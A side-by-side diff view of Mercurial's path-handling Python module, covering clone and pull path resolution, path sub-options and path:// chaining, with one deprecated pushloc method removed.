574 raise error.Abort(msg)
575 return pull_paths[0]
575 return pull_paths[0]
576
576
577
577
578 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
578 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
579 """return a unique `(url, branch)` or abort if multiple are found
579 """return a unique `(url, branch)` or abort if multiple are found
580
580
581 See `get_unique_pull_path_obj` for details.
581 See `get_unique_pull_path_obj` for details.
582 """
582 """
583 path = get_unique_pull_path_obj(action, ui, source=source)
583 path = get_unique_pull_path_obj(action, ui, source=source)
584 return parseurl(path.rawloc, default_branches)
584 return parseurl(path.rawloc, default_branches)
585
585
586
586
587 def get_clone_path_obj(ui, source):
587 def get_clone_path_obj(ui, source):
588 """return the `(origsource, url, branch)` selected as clone source"""
588 """return the `(origsource, url, branch)` selected as clone source"""
589 if source == b'':
589 if source == b'':
590 return None
590 return None
591 return get_unique_pull_path_obj(b'clone', ui, source=source)
591 return get_unique_pull_path_obj(b'clone', ui, source=source)
592
592
593
593
594 def get_clone_path(ui, source, default_branches=None):
594 def get_clone_path(ui, source, default_branches=None):
595 """return the `(origsource, url, branch)` selected as clone source"""
595 """return the `(origsource, url, branch)` selected as clone source"""
596 path = get_clone_path_obj(ui, source)
596 path = get_clone_path_obj(ui, source)
597 if path is None:
597 if path is None:
598 return (b'', b'', (None, default_branches))
598 return (b'', b'', (None, default_branches))
599 if default_branches is None:
599 if default_branches is None:
600 default_branches = []
600 default_branches = []
601 branches = (path.branch, default_branches)
601 branches = (path.branch, default_branches)
602 return path.rawloc, path.loc, branches
602 return path.rawloc, path.loc, branches
603
603
604
604
605 def parseurl(path, branches=None):
605 def parseurl(path, branches=None):
606 '''parse url#branch, returning (url, (branch, branches))'''
606 '''parse url#branch, returning (url, (branch, branches))'''
607 u = url(path)
607 u = url(path)
608 branch = None
608 branch = None
609 if u.fragment:
609 if u.fragment:
610 branch = u.fragment
610 branch = u.fragment
611 u.fragment = None
611 u.fragment = None
612 return bytes(u), (branch, branches or [])
612 return bytes(u), (branch, branches or [])
613
613
614
614
615 class paths(dict):
615 class paths(dict):
616 """Represents a collection of paths and their configs.
616 """Represents a collection of paths and their configs.
617
617
618 Data is initially derived from ui instances and the config files they have
618 Data is initially derived from ui instances and the config files they have
619 loaded.
619 loaded.
620 """
620 """
621
621
622 def __init__(self, ui):
622 def __init__(self, ui):
623 dict.__init__(self)
623 dict.__init__(self)
624
624
625 home_path = os.path.expanduser(b'~')
625 home_path = os.path.expanduser(b'~')
626
626
627 for name, value in ui.configitems(b'paths', ignoresub=True):
627 for name, value in ui.configitems(b'paths', ignoresub=True):
628 # No location is the same as not existing.
628 # No location is the same as not existing.
629 if not value:
629 if not value:
630 continue
630 continue
631 _value, sub_opts = ui.configsuboptions(b'paths', name)
631 _value, sub_opts = ui.configsuboptions(b'paths', name)
632 s = ui.configsource(b'paths', name)
632 s = ui.configsource(b'paths', name)
633 root_key = (name, value, s)
633 root_key = (name, value, s)
634 root = ui._path_to_root.get(root_key, home_path)
634 root = ui._path_to_root.get(root_key, home_path)
635
635
636 multi_url = sub_opts.get(b'multi-urls')
636 multi_url = sub_opts.get(b'multi-urls')
637 if multi_url is not None and stringutil.parsebool(multi_url):
637 if multi_url is not None and stringutil.parsebool(multi_url):
638 base_locs = stringutil.parselist(value)
638 base_locs = stringutil.parselist(value)
639 else:
639 else:
640 base_locs = [value]
640 base_locs = [value]
641
641
642 paths = []
642 paths = []
643 for loc in base_locs:
643 for loc in base_locs:
644 loc = os.path.expandvars(loc)
644 loc = os.path.expandvars(loc)
645 loc = os.path.expanduser(loc)
645 loc = os.path.expanduser(loc)
646 if not hasscheme(loc) and not os.path.isabs(loc):
646 if not hasscheme(loc) and not os.path.isabs(loc):
647 loc = os.path.normpath(os.path.join(root, loc))
647 loc = os.path.normpath(os.path.join(root, loc))
648 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
648 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
649 paths.append(p)
649 paths.append(p)
650 self[name] = paths
650 self[name] = paths
651
651
652 for name, old_paths in sorted(self.items()):
652 for name, old_paths in sorted(self.items()):
653 new_paths = []
653 new_paths = []
654 for p in old_paths:
654 for p in old_paths:
655 new_paths.extend(_chain_path(p, ui, self))
655 new_paths.extend(_chain_path(p, ui, self))
656 self[name] = new_paths
656 self[name] = new_paths
657
657
658
658
659 _pathsuboptions = {}
659 _pathsuboptions = {}
660 # a dictionnary of methods that can be used to format a sub-option value
660 # a dictionnary of methods that can be used to format a sub-option value
661 path_suboptions_display = {}
661 path_suboptions_display = {}
662
662
663
663
664 def pathsuboption(option, attr, display=pycompat.bytestr):
664 def pathsuboption(option, attr, display=pycompat.bytestr):
665 """Decorator used to declare a path sub-option.
665 """Decorator used to declare a path sub-option.
666
666
667 Arguments are the sub-option name and the attribute it should set on
667 Arguments are the sub-option name and the attribute it should set on
668 ``path`` instances.
668 ``path`` instances.
669
669
670 The decorated function will receive as arguments a ``ui`` instance,
670 The decorated function will receive as arguments a ``ui`` instance,
671 ``path`` instance, and the string value of this option from the config.
671 ``path`` instance, and the string value of this option from the config.
672 The function should return the value that will be set on the ``path``
672 The function should return the value that will be set on the ``path``
673 instance.
673 instance.
674
674
675 The optional `display` argument is a function that can be used to format
675 The optional `display` argument is a function that can be used to format
676 the value when displayed to the user (like in `hg paths` for example).
676 the value when displayed to the user (like in `hg paths` for example).
677
677
678 This decorator can be used to perform additional verification of
678 This decorator can be used to perform additional verification of
679 sub-options and to change the type of sub-options.
679 sub-options and to change the type of sub-options.
680 """
680 """
681 if isinstance(attr, bytes):
681 if isinstance(attr, bytes):
682 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
682 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
683 util.nouideprecwarn(msg, b"6.6", stacklevel=2)
683 util.nouideprecwarn(msg, b"6.6", stacklevel=2)
684 attr = attr.decode('ascii')
684 attr = attr.decode('ascii')
685
685
686 def register(func):
686 def register(func):
687 _pathsuboptions[option] = (attr, func)
687 _pathsuboptions[option] = (attr, func)
688 path_suboptions_display[option] = display
688 path_suboptions_display[option] = display
689 return func
689 return func
690
690
691 return register
691 return register
692
692
693
693
694 def display_bool(value):
694 def display_bool(value):
695 """display a boolean suboption back to the user"""
695 """display a boolean suboption back to the user"""
696 return b'yes' if value else b'no'
696 return b'yes' if value else b'no'
697
697
698
698
699 @pathsuboption(b'pushurl', '_pushloc')
699 @pathsuboption(b'pushurl', '_pushloc')
700 def pushurlpathoption(ui, path, value):
700 def pushurlpathoption(ui, path, value):
701 u = url(value)
701 u = url(value)
702 # Actually require a URL.
702 # Actually require a URL.
703 if not u.scheme:
703 if not u.scheme:
704 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
704 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
705 msg %= (path.name, value)
705 msg %= (path.name, value)
706 ui.warn(msg)
706 ui.warn(msg)
707 return None
707 return None
708
708
709 # Don't support the #foo syntax in the push URL to declare branch to
709 # Don't support the #foo syntax in the push URL to declare branch to
710 # push.
710 # push.
711 if u.fragment:
711 if u.fragment:
712 ui.warn(
712 ui.warn(
713 _(
713 _(
714 b'("#fragment" in paths.%s:pushurl not supported; '
714 b'("#fragment" in paths.%s:pushurl not supported; '
715 b'ignoring)\n'
715 b'ignoring)\n'
716 )
716 )
717 % path.name
717 % path.name
718 )
718 )
719 u.fragment = None
719 u.fragment = None
720
720
721 return bytes(u)
721 return bytes(u)
722
722
723
723
724 @pathsuboption(b'pushrev', 'pushrev')
724 @pathsuboption(b'pushrev', 'pushrev')
725 def pushrevpathoption(ui, path, value):
725 def pushrevpathoption(ui, path, value):
726 return value
726 return value
727
727
728
728
729 SUPPORTED_BOOKMARKS_MODES = {
729 SUPPORTED_BOOKMARKS_MODES = {
730 b'default',
730 b'default',
731 b'mirror',
731 b'mirror',
732 b'ignore',
732 b'ignore',
733 }
733 }
734
734
735
735
736 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
736 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode')
737 def bookmarks_mode_option(ui, path, value):
737 def bookmarks_mode_option(ui, path, value):
738 if value not in SUPPORTED_BOOKMARKS_MODES:
738 if value not in SUPPORTED_BOOKMARKS_MODES:
739 path_name = path.name
739 path_name = path.name
740 if path_name is None:
740 if path_name is None:
741 # this is an "anonymous" path, config comes from the global one
741 # this is an "anonymous" path, config comes from the global one
742 path_name = b'*'
742 path_name = b'*'
743 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
743 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
744 msg %= (path_name, value)
744 msg %= (path_name, value)
745 ui.warn(msg)
745 ui.warn(msg)
746 if value == b'default':
746 if value == b'default':
747 value = None
747 value = None
748 return value
748 return value
749
749
750
750
751 DELTA_REUSE_POLICIES = {
751 DELTA_REUSE_POLICIES = {
752 b'default': None,
752 b'default': None,
753 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
753 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
754 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
754 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
755 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
755 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
756 }
756 }
757 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
757 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items())
758
758
759
759
760 @pathsuboption(
760 @pathsuboption(
761 b'pulled-delta-reuse-policy',
761 b'pulled-delta-reuse-policy',
762 'delta_reuse_policy',
762 'delta_reuse_policy',
763 display=DELTA_REUSE_POLICIES_NAME.get,
763 display=DELTA_REUSE_POLICIES_NAME.get,
764 )
764 )
765 def delta_reuse_policy(ui, path, value):
765 def delta_reuse_policy(ui, path, value):
766 if value not in DELTA_REUSE_POLICIES:
766 if value not in DELTA_REUSE_POLICIES:
767 path_name = path.name
767 path_name = path.name
768 if path_name is None:
768 if path_name is None:
769 # this is an "anonymous" path, config comes from the global one
769 # this is an "anonymous" path, config comes from the global one
770 path_name = b'*'
770 path_name = b'*'
771 msg = _(
771 msg = _(
772 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
772 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
773 )
773 )
774 msg %= (path_name, value)
774 msg %= (path_name, value)
775 ui.warn(msg)
775 ui.warn(msg)
776 return DELTA_REUSE_POLICIES.get(value)
776 return DELTA_REUSE_POLICIES.get(value)
777
777
778
778
779 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
779 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool)
780 def multiurls_pathoption(ui, path, value):
780 def multiurls_pathoption(ui, path, value):
781 res = stringutil.parsebool(value)
781 res = stringutil.parsebool(value)
782 if res is None:
782 if res is None:
783 ui.warn(
783 ui.warn(
784 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
784 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
785 )
785 )
786 res = False
786 res = False
787 return res
787 return res
788
788
789
789
790 def _chain_path(base_path, ui, paths):
790 def _chain_path(base_path, ui, paths):
791 """return the result of "path://" logic applied on a given path"""
791 """return the result of "path://" logic applied on a given path"""
792 new_paths = []
792 new_paths = []
793 if base_path.url.scheme != b'path':
793 if base_path.url.scheme != b'path':
794 new_paths.append(base_path)
794 new_paths.append(base_path)
795 else:
795 else:
796 assert base_path.url.path is None
796 assert base_path.url.path is None
797 sub_paths = paths.get(base_path.url.host)
797 sub_paths = paths.get(base_path.url.host)
798 if sub_paths is None:
798 if sub_paths is None:
799 m = _(b'cannot use `%s`, "%s" is not a known path')
799 m = _(b'cannot use `%s`, "%s" is not a known path')
800 m %= (base_path.rawloc, base_path.url.host)
800 m %= (base_path.rawloc, base_path.url.host)
801 raise error.Abort(m)
801 raise error.Abort(m)
802 for subpath in sub_paths:
802 for subpath in sub_paths:
803 path = base_path.copy()
803 path = base_path.copy()
804 if subpath.raw_url.scheme == b'path':
804 if subpath.raw_url.scheme == b'path':
805 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
805 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
806 m %= (path.rawloc, path.url.host)
806 m %= (path.rawloc, path.url.host)
807 raise error.Abort(m)
807 raise error.Abort(m)
808 path.url = subpath.url
808 path.url = subpath.url
809 path.rawloc = subpath.rawloc
809 path.rawloc = subpath.rawloc
810 path.loc = subpath.loc
810 path.loc = subpath.loc
811 if path.branch is None:
811 if path.branch is None:
812 path.branch = subpath.branch
812 path.branch = subpath.branch
813 else:
813 else:
814 base = path.rawloc.rsplit(b'#', 1)[0]
814 base = path.rawloc.rsplit(b'#', 1)[0]
815 path.rawloc = b'%s#%s' % (base, path.branch)
815 path.rawloc = b'%s#%s' % (base, path.branch)
816 suboptions = subpath._all_sub_opts.copy()
816 suboptions = subpath._all_sub_opts.copy()
817 suboptions.update(path._own_sub_opts)
817 suboptions.update(path._own_sub_opts)
818 path._apply_suboptions(ui, suboptions)
818 path._apply_suboptions(ui, suboptions)
819 new_paths.append(path)
819 new_paths.append(path)
820 return new_paths
820 return new_paths
821
821
822
822
823 class path:
823 class path:
824 """Represents an individual path and its configuration."""
824 """Represents an individual path and its configuration."""
825
825
826 def __init__(
826 def __init__(
827 self,
827 self,
828 ui=None,
828 ui=None,
829 name=None,
829 name=None,
830 rawloc=None,
830 rawloc=None,
831 suboptions=None,
831 suboptions=None,
832 validate_path=True,
832 validate_path=True,
833 ):
833 ):
834 """Construct a path from its config options.
834 """Construct a path from its config options.
835
835
836 ``ui`` is the ``ui`` instance the path is coming from.
836 ``ui`` is the ``ui`` instance the path is coming from.
837 ``name`` is the symbolic name of the path.
837 ``name`` is the symbolic name of the path.
838 ``rawloc`` is the raw location, as defined in the config.
838 ``rawloc`` is the raw location, as defined in the config.
839 ``_pushloc`` is the raw locations pushes should be made to.
839 ``_pushloc`` is the raw locations pushes should be made to.
840 (see the `get_push_variant` method)
840 (see the `get_push_variant` method)
841
841
842 If ``name`` is not defined, we require that the location be a) a local
842 If ``name`` is not defined, we require that the location be a) a local
843 filesystem path with a .hg directory or b) a URL. If not,
843 filesystem path with a .hg directory or b) a URL. If not,
844 ``ValueError`` is raised.
844 ``ValueError`` is raised.
845 """
845 """
846 if ui is None:
846 if ui is None:
847 # used in copy
847 # used in copy
848 assert name is None
848 assert name is None
849 assert rawloc is None
849 assert rawloc is None
850 assert suboptions is None
850 assert suboptions is None
851 return
851 return
852
852
853 if not rawloc:
853 if not rawloc:
854 raise ValueError(b'rawloc must be defined')
854 raise ValueError(b'rawloc must be defined')
855
855
856 self.name = name
856 self.name = name
857
857
858 # set by path variant to point to their "non-push" version
858 # set by path variant to point to their "non-push" version
859 self.main_path = None
859 self.main_path = None
860 self._setup_url(rawloc)
860 self._setup_url(rawloc)
861
861
862 if validate_path:
862 if validate_path:
863 self._validate_path()
863 self._validate_path()
864
864
865 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
865 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
866 self._own_sub_opts = {}
866 self._own_sub_opts = {}
867 if suboptions is not None:
867 if suboptions is not None:
868 self._own_sub_opts = suboptions.copy()
868 self._own_sub_opts = suboptions.copy()
869 sub_opts.update(suboptions)
869 sub_opts.update(suboptions)
870 self._all_sub_opts = sub_opts.copy()
870 self._all_sub_opts = sub_opts.copy()
871
871
872 self._apply_suboptions(ui, sub_opts)
872 self._apply_suboptions(ui, sub_opts)
873
873
874 def _setup_url(self, rawloc):
874 def _setup_url(self, rawloc):
875 # Locations may define branches via syntax <base>#<branch>.
875 # Locations may define branches via syntax <base>#<branch>.
876 u = url(rawloc)
876 u = url(rawloc)
877 branch = None
877 branch = None
878 if u.fragment:
878 if u.fragment:
879 branch = u.fragment
879 branch = u.fragment
880 u.fragment = None
880 u.fragment = None
881
881
882 self.url = u
882 self.url = u
883 # the url from the config/command line before dealing with `path://`
883 # the url from the config/command line before dealing with `path://`
884 self.raw_url = u.copy()
884 self.raw_url = u.copy()
885 self.branch = branch
885 self.branch = branch
886
886
887 self.rawloc = rawloc
887 self.rawloc = rawloc
888 self.loc = b'%s' % u
888 self.loc = b'%s' % u
889
889
890 def copy(self, new_raw_location=None):
890 def copy(self, new_raw_location=None):
891 """make a copy of this path object
891 """make a copy of this path object
892
892
893 When `new_raw_location` is set, the new path will point to it.
893 When `new_raw_location` is set, the new path will point to it.
894 This is used by the scheme extension so expand the scheme.
894 This is used by the scheme extension so expand the scheme.
895 """
895 """
896 new = self.__class__()
896 new = self.__class__()
897 for k, v in self.__dict__.items():
897 for k, v in self.__dict__.items():
898 new_copy = getattr(v, 'copy', None)
898 new_copy = getattr(v, 'copy', None)
899 if new_copy is not None:
899 if new_copy is not None:
900 v = new_copy()
900 v = new_copy()
901 new.__dict__[k] = v
901 new.__dict__[k] = v
902 if new_raw_location is not None:
902 if new_raw_location is not None:
903 new._setup_url(new_raw_location)
903 new._setup_url(new_raw_location)
904 return new
904 return new
905
905
906 @property
906 @property
907 def is_push_variant(self):
907 def is_push_variant(self):
908 """is this a path variant to be used for pushing"""
908 """is this a path variant to be used for pushing"""
909 return self.main_path is not None
909 return self.main_path is not None
910
910
911 def get_push_variant(self):
911 def get_push_variant(self):
912 """get a "copy" of the path, but suitable for pushing
912 """get a "copy" of the path, but suitable for pushing
913
913
914 This means using the value of the `pushurl` option (if any) as the url.
914 This means using the value of the `pushurl` option (if any) as the url.
915
915
916 The original path is available in the `main_path` attribute.
916 The original path is available in the `main_path` attribute.
917 """
917 """
918 if self.main_path:
918 if self.main_path:
919 return self
919 return self
920 new = self.copy()
920 new = self.copy()
921 new.main_path = self
921 new.main_path = self
922 if self._pushloc:
922 if self._pushloc:
923 new._setup_url(self._pushloc)
923 new._setup_url(self._pushloc)
924 return new
924 return new
925
925
926 def pushloc(self):
927 """compatibility layer for the deprecated attributes"""
928 from .. import util # avoid a cycle
929
930 msg = "don't use path.pushloc, use path.get_push_variant()"
931 util.nouideprecwarn(msg, b"6.5")
932 return self._pushloc
933
934 def _validate_path(self):
926 def _validate_path(self):
935 # When given a raw location but not a symbolic name, validate the
927 # When given a raw location but not a symbolic name, validate the
936 # location is valid.
928 # location is valid.
937 if (
929 if (
938 not self.name
930 not self.name
939 and not self.url.scheme
931 and not self.url.scheme
940 and not self._isvalidlocalpath(self.loc)
932 and not self._isvalidlocalpath(self.loc)
941 ):
933 ):
942 raise ValueError(
934 raise ValueError(
943 b'location is not a URL or path to a local '
935 b'location is not a URL or path to a local '
944 b'repo: %s' % self.rawloc
936 b'repo: %s' % self.rawloc
945 )
937 )
946
938
947 def _apply_suboptions(self, ui, sub_options):
939 def _apply_suboptions(self, ui, sub_options):
948 # Now process the sub-options. If a sub-option is registered, its
940 # Now process the sub-options. If a sub-option is registered, its
949 # attribute will always be present. The value will be None if there
941 # attribute will always be present. The value will be None if there
950 # was no valid sub-option.
942 # was no valid sub-option.
951 for suboption, (attr, func) in _pathsuboptions.items():
943 for suboption, (attr, func) in _pathsuboptions.items():
952 if suboption not in sub_options:
944 if suboption not in sub_options:
953 setattr(self, attr, None)
945 setattr(self, attr, None)
954 continue
946 continue
955
947
956 value = func(ui, self, sub_options[suboption])
948 value = func(ui, self, sub_options[suboption])
957 setattr(self, attr, value)
949 setattr(self, attr, value)
958
950
959 def _isvalidlocalpath(self, path):
951 def _isvalidlocalpath(self, path):
960 """Returns True if the given path is a potentially valid repository.
952 """Returns True if the given path is a potentially valid repository.
961 This is its own function so that extensions can change the definition of
953 This is its own function so that extensions can change the definition of
962 'valid' in this case (like when pulling from a git repo into a hg
954 'valid' in this case (like when pulling from a git repo into a hg
963 one)."""
955 one)."""
964 try:
956 try:
965 return os.path.isdir(os.path.join(path, b'.hg'))
957 return os.path.isdir(os.path.join(path, b'.hg'))
966 # Python 2 may return TypeError. Python 3, ValueError.
958 # Python 2 may return TypeError. Python 3, ValueError.
967 except (TypeError, ValueError):
959 except (TypeError, ValueError):
968 return False
960 return False
969
961
970 @property
962 @property
971 def suboptions(self):
963 def suboptions(self):
972 """Return sub-options and their values for this path.
964 """Return sub-options and their values for this path.
973
965
974 This is intended to be used for presentation purposes.
966 This is intended to be used for presentation purposes.
975 """
967 """
976 d = {}
968 d = {}
977 for subopt, (attr, _func) in _pathsuboptions.items():
969 for subopt, (attr, _func) in _pathsuboptions.items():
978 value = getattr(self, attr)
970 value = getattr(self, attr)
979 if value is not None:
971 if value is not None:
980 d[subopt] = value
972 d[subopt] = value
981 return d
973 return d
General Comments 0
You need to be logged in to leave comments. Login now